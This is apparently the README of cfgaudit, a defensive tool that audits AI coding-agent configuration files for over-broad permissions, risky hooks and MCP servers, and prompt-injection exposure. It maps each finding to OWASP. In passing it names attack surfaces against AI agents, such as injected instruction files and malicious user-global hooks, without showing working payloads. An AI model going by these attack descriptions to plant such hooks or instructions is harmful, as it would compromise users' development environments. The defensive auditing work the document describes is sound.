cfgaudit

Security auditor for AI-agent configuration files.

cfgaudit scans the configuration of AI coding assistants — starting with Claude Code — and flags settings that violate the principle of least privilege or leave sensitive files exposed to the agent's context.

Every finding maps to an OWASP Top 10 for LLM Applications 2025 risk (the primary mapping). Two secondary lenses are also provided: the OWASP MCP Top 10 for the MCP-server rules, and the OWASP AISVS 1.0 mapping for teams who verify against the AI Security Verification Standard.

Install

Homebrew (macOS / Linux):

brew install cfgaudit/tap/cfgaudit

With the Go toolchain:

go install github.com/cfgaudit/cfgaudit/cmd/cfgaudit@latest

Or download a pre-built binary (Linux / macOS / Windows, amd64 / arm64) from the releases page.

Usage

# Audit the current directory
cfgaudit

# Audit a specific project root
cfgaudit /path/to/project

# Output format defaults to "auto": a table on an interactive terminal, plain
# text when piped or redirected. Force either with --format table / --format text.
cfgaudit --format table

# Output as JSON (for CI integration)
cfgaudit --format json

# Output as SARIF 2.1.0 (for GitHub Code Scanning)
cfgaudit --format sarif > cfgaudit.sarif

# Output as Code Climate JSON (for GitLab Code Quality / merge-request findings)
cfgaudit --format codeclimate > gl-code-quality.json

# Override the Claude Code version used for rule gating (otherwise detected via `claude --version`)
cfgaudit --claude-version 2.1.148

# Print cfgaudit version and exit
cfgaudit --version

# Run only specific rules (CSV or repeated; --only and --skip can be combined)
cfgaudit --only CFG001,CFG003
cfgaudit --only CFG001 --only CFG003
cfgaudit --skip CFG006,CFG009

# Use an explicit config file (otherwise .cfgaudit.yml is auto-discovered)
cfgaudit --config path/to/.cfgaudit.yml

# Also scan a Claude Code plugin/skill package
cfgaudit --plugins ./my-plugin

# Zero-tolerance CI: make warn findings fail the build too
cfgaudit --strict

# Deeper shell analysis of hook commands (CFG045, needs the shellcheck binary)
cfgaudit --shellcheck

# Explain a rule in the terminal (renders its docs)
cfgaudit explain CFG001

# List all rules (filter by OWASP — LLM or MCP — or output JSON)
cfgaudit list
cfgaudit list --owasp LLM06
cfgaudit list --owasp MCP05
cfgaudit list --format json

# Scaffold a hardened .claude/settings.json for a new project
cfgaudit init                       # write a safe-default deny list
cfgaudit init --dry-run             # print the JSON without writing
cfgaudit init --interactive         # add project-specific deny entries

# Sync deny rules between settings.json and .cfgaudit.yml policy
cfgaudit policy generate            # settings.json permissions.deny -> .cfgaudit.yml require-deny
cfgaudit policy apply --dry-run     # preview: .cfgaudit.yml require-deny -> settings.json permissions.deny
cfgaudit policy apply               # write the missing deny entries

init subcommand — scaffolds .claude/settings.json with a hardened baseline permissions.deny (credential/key/cloud/SSH read-denies plus destructive/network/privilege command classes) so a fresh project starts safe-by-default and passes the policy rules (CFG006/CFG041–CFG044) immediately. Aborts if the file exists (use --force, or cfgaudit policy apply to merge); --dry-run prints the JSON; --interactive adds project-specific entries.

policy subcommand — keeps permissions.deny (enforced by Claude Code) and policy.require-deny (audited by cfgaudit / CFG025) in sync. generate freezes the current runtime deny list as an auditable policy, preserving the rest of your .cfgaudit.yml (comments included). apply rolls a policy out to a project's settings; both merge additively (nothing is removed) and are idempotent. apply rewrites settings.json as 2-space-indented JSON with alphabetically-ordered top-level keys — run --dry-run first to preview.

Scope-aware findings

Each finding carries a Scope (project, project-local, or user) reflecting which file it came from. Rules whose blast radius is amplified when the misconfiguration lives in user-global settings append an explanatory note to the message, and CFG009 (hook command interpolates a shell variable) escalates from warn to error at user scope — a malicious hook in ~/.claude/settings.json fires on every project the user opens.

Version gating

Some rules require a minimum Claude Code release before they make sense. cfgaudit runs claude --version once per invocation, compares the result to each rule's MinVersion, and replaces below-threshold rules with a single info-severity skip notice. The detected version is logged to stderr at the start of each scan; the --claude-version flag overrides detection (useful in CI containers where the binary is not installed). When neither detection nor the flag yields a version, every rule runs unconditionally.

Exit codes

Suppressing a finding

Add a comment on the same line or the line above in the relevant config file:

// cfgaudit:ignore CFG001 -- intentional for local dev sandbox

Configuration file (.cfgaudit.yml)

cfgaudit auto-discovers a .cfgaudit.yml (or .cfgaudit.yaml) in the scanned directory; --config <path> overrides discovery. CLI flags take precedence over the file.

# Per-rule overrides
rules:
  CFG003: off           # disable a rule (flat form)
  CFG004:
    severity: warn      # override a rule's severity (also accepts the flat form CFG004: warn)

# Drop findings below this severity ("error", "warn", "info")
min-severity: warn

# Treat warn findings as errors for the exit code
strict: false

# Always exit 0 on a successful run (advisory mode for non-blocking CI)
no-exit-codes: false

# Run shellcheck on hook/helper commands (CFG045; needs the shellcheck binary)
shellcheck: false

# Path globs (relative to the scanned dir) whose findings are excluded.
# Supports *, ** and a trailing / for directory prefixes.
exclude-paths:
  - vendor/
  - "**/.claude/settings.local.json"

# Org policy (CFG025): commands that must be denied / must not be allowed.
# Matching is containment-aware (Bash(git:*) covers Bash(git commit:*)).
policy:
  require-deny:
    - "Bash(git commit:*)"   # must be covered by permissions.deny
  forbid-allow:
    - "Bash(git commit:*)"   # must not be grantable by permissions.allow

GitHub Action

Run cfgaudit in a workflow without installing anything — the action wraps the published container image:

- uses: cfgaudit/cfgaudit@v1
  with:
    path: .

Upload findings to GitHub Code Scanning via SARIF (add permissions: security-events: write to the job):

- uses: cfgaudit/cfgaudit@v1
  with:
    format: sarif
    output: cfgaudit.sarif
    fail-on: never          # advisory: let Code Scanning surface findings, don't fail the step
- uses: github/codeql-action/upload-sarif@v3
  with:
    sarif_file: cfgaudit.sarif

Inputs: path (default .), format (text/json/sarif), strict, user, config, plugins, output, fail-on (error/never), image.
Outputs: exit-code, output-file. By default the step fails on findings at or above the configured threshold; set fail-on: never for advisory mode.

GitLab CI/CD component

For GitLab pipelines, include the component (published to the CI/CD Catalog):

include:
  - component: gitlab.com/cfgaudit/cfgaudit/[email protected]
    inputs:
      path: .
      format: text

Inputs: stage, path, format, version (pinned ghcr.io image tag), allow_failure. The job fails the pipeline on error-severity findings unless allow_failure: true.

To surface findings inline in merge requests via the Code Quality widget, use the second component (emits a GitLab Code Quality report):

include:
  - component: gitlab.com/cfgaudit/cfgaudit/[email protected]
    inputs:
      path: .

Pin the component to a released tag, not a moving ref — consistent with cfgaudit's own supply-chain guidance (CFG010/CFG013).

Claude Code plugin

The repo doubles as a Claude Code plugin marketplace. Install it to get an on-demand scan command plus automatic scans when config files change:

/plugin marketplace add cfgaudit/cfgaudit
/plugin install cfgaudit@cfgaudit

The plugin adds:

• /cfgaudit:scan — scan the current project on demand.
• /cfgaudit:explain <RULE> — explain a rule (what it checks, why, how to fix); with no argument it lists the rules.
• /cfgaudit:init — scaffold a project-aware .claude/settings.json: Claude inspects the project's tooling and tailors the deny list on top of the baseline, then verifies 0 findings.
• A Stop hook (scan when a session ends) and a PostToolUse hook (scan after edits to settings.json / CLAUDE.md / .mcp.json / .claude/ files).

Hooks call a cfgaudit binary on your PATH (install via Homebrew or go install above); if none is found the bundled wrapper downloads the matching prebuilt release binary for your OS/arch (checksum-verified and cached) — no Go toolchain required. Team rollout via .claude/settings.json:

{
  "extraKnownMarketplaces": {
    "cfgaudit": { "source": { "source": "github", "repo": "cfgaudit/cfgaudit" } }
  }
}

What cfgaudit checks

Rules are grouped by the part of the configuration they target.

settings.json — permissions, env, hooks & files

General Claude Code settings: the permission model, environment block, lifecycle hooks, command-running helpers, schema, and local-file hygiene.

MCP servers — settings.json mcpServers & .mcp.json

Rules about MCP servers. MCP is a shared standard, so the per-server checks (CFG010–CFG021) are cross-agent: they run against the inline mcpServers block in settings.json, the project's root .mcp.json (the file that enableAllProjectMcpServers / enabledMcpjsonServers auto-approve), and other agents' MCP configs when present — .cursor/mcp.json (+ ~/.cursor/mcp.json with --user), .vscode/mcp.json (VS Code's top-level servers key is handled), cline_mcp_settings.json, Windsurf's ~/.codeium/windsurf/mcp_config.json, the mcpServers block of Gemini CLI's .gemini/settings.json (+ ~/.gemini/settings.json with --user), the [mcp_servers] tables of OpenAI Codex CLI's ~/.codex/config.toml (with --user), and the mcpServers list of Continue's .continue/config.yaml (+ ~/.continue/config.yaml with --user). Each finding is attributed to the file the server was declared in. A malformed config is reported as a tool error rather than silently skipped. CFG003 governs the blanket auto-approval flag and is Claude Code–specific (settings.json only).

OWASP MCP Top 10 mapping (secondary)

The MCP-server rules above carry a secondary mapping to the OWASP Top 10 for Model Context Protocol, in addition to their primary LLM Top 10 risk. It is a complementary lens for readers who think in the MCP taxonomy; the LLM mapping stays primary.

Provisional. Mapped against OWASP MCP Top 10 v0.1 (Beta, Phase 3) — IDs and titles may still change before final release. Filter from the CLI with cfgaudit list --owasp MCP05.

MCP03 (Tool Poisoning), MCP06 (Intent Flow Subversion), MCP08 (Lack of Audit & Telemetry), and MCP10 (Context Injection & Over-Sharing) have no dedicated config rule yet — they involve runtime tool behaviour or live server inspection rather than a statically committed config surface.

Instruction files — CLAUDE.md & other agents

AI coding agents read their instruction files as trusted system-context every session, so a committed or user-global instruction file is a prompt-injection target. The project CLAUDE.md is scanned automatically and ~/.claude/CLAUDE.md with --user. The same content rules also scan, when present in the project: .cursorrules, .cursor/rules/*.{md,mdc}, .windsurfrules, .windsurf/rules/*.md, AGENTS.md, GEMINI.md (Gemini CLI; ~/.gemini/GEMINI.md with --user), GitHub Copilot's .github/copilot-instructions.md and path-specific .github/instructions/*.instructions.md, and Claude Code's custom subagents (.claude/agents/*.md), slash commands (.claude/commands/*.md), and skills (.claude/skills/*/SKILL.md) — these three also under ~/.claude/ with --user. Findings name the file they came from.

Plugin & skill packages

Installing a Claude Code plugin is a supply-chain trust decision. With --plugins <dir> (and auto-discovered when the scanned project bundles a .claude-plugin/, or ~/.claude/plugins/ under --user), cfgaudit looks inside the package and runs the existing rules against its bundled artifacts:

Findings are attributed to the in-package file. Bundled binaries / arbitrary scripts are not content-scanned (that is general SAST, outside cfgaudit's config-audit scope).

Agent-skills lockfile — skills-lock.json

The vercel-labs/skills CLI (skills.sh) records the external sources it pulls agent skills (instruction content) from in a skills-lock.json at the repo root. cfgaudit scans the committable project-root file; the user-global ~/.agents/.skill-lock.json is out of scope (not committable).

VS Code workspace — .vscode/

.vscode/ files are committed into repositories and read by VS Code and its forks (Cursor, Windsurf), so a committed workspace config is a repo-controlled auto-run / supply-chain surface. cfgaudit scans these automatically when present and attributes findings to the source file.

Gemini CLI — .gemini/settings.json & GEMINI.md

Gemini CLI stores its config in settings.json with a security surface that mirrors Claude Code's. cfgaudit discovers .gemini/settings.json (project) and ~/.gemini/settings.json (with --user), and GEMINI.md (project) / ~/.gemini/GEMINI.md — the latter scanned by the same content rules as CLAUDE.md (CFG024–CFG036, CFG057). A Gemini mcpServers block rides the shared MCP rules (CFG010–CFG021, CFG049–CFG059), attributed to the settings file. Three rules cover the Gemini-specific settings:

OpenAI Codex CLI — ~/.codex/config.toml & AGENTS.md

OpenAI Codex CLI keeps its config in ~/.codex/config.toml (TOML) and uses AGENTS.md as its project instruction file. AGENTS.md is already scanned by the shared instruction-content rules (CFG024–CFG036, CFG057). With --user, cfgaudit also parses ~/.codex/config.toml: its [mcp_servers] ride the shared MCP rules (CFG010–CFG021, CFG049–CFG059), its notify program (run by Codex on events) is scanned by the command-content rules (CFG008/014/015/027/028/037/038/039), and two rules cover the Codex-specific settings:

Continue — .continue/config.yaml

Continue configures MCP servers and model providers in config.yaml. cfgaudit discovers .continue/config.yaml (project) and ~/.continue/config.yaml (--user). Its mcpServers list rides the shared MCP rules (CFG010–CFG021, CFG049–CFG059) — a remote type: "sse" server trips CFG058, a non-loopback url trips CFG049, and so on; its rules and prompts (trusted instruction context) are scanned by the instruction-content rules (CFG024–CFG036, CFG057). Continue-specific rules:

OWASP mapping

cfgaudit is a static auditor of AI-agent configuration files (Claude Code first-class, with portable rules extended to other agents). It maps each finding to an OWASP Top 10 for LLM Applications 2025 risk — but by design it only sees what is declared in config, not model behaviour, runtime traffic, or training data. That scope determines which risks it can and cannot address.

Covered

Not covered

Test fixtures

Real-world settings.json examples live under testdata/settings/:

• valid/ — configurations that must produce zero cfgaudit findings (minimal, fully-populated, team, managed-org).
• invalid/ — one fixture per rule, named CFG###_<slug>.json. Each must trigger the rule encoded in its prefix.

rules/fixtures_test.go enforces both invariants on every Go test run, so fixtures and rule implementations stay in lockstep.

A separate workflow (.github/workflows/schema-validation.yml) validates every file in valid/ against the SchemaStore Claude Code settings schema on push, on pull request, and nightly. If the upstream schema changes, the nightly run opens (or comments on) a tracking issue so the fixtures and rules can be brought back in sync before silent breakage.

Contributing

See CONTRIBUTING.md for dev setup, the test loop, and the step-by-step recipe for adding a new rule.

License

Apache 2.0 — see LICENSE.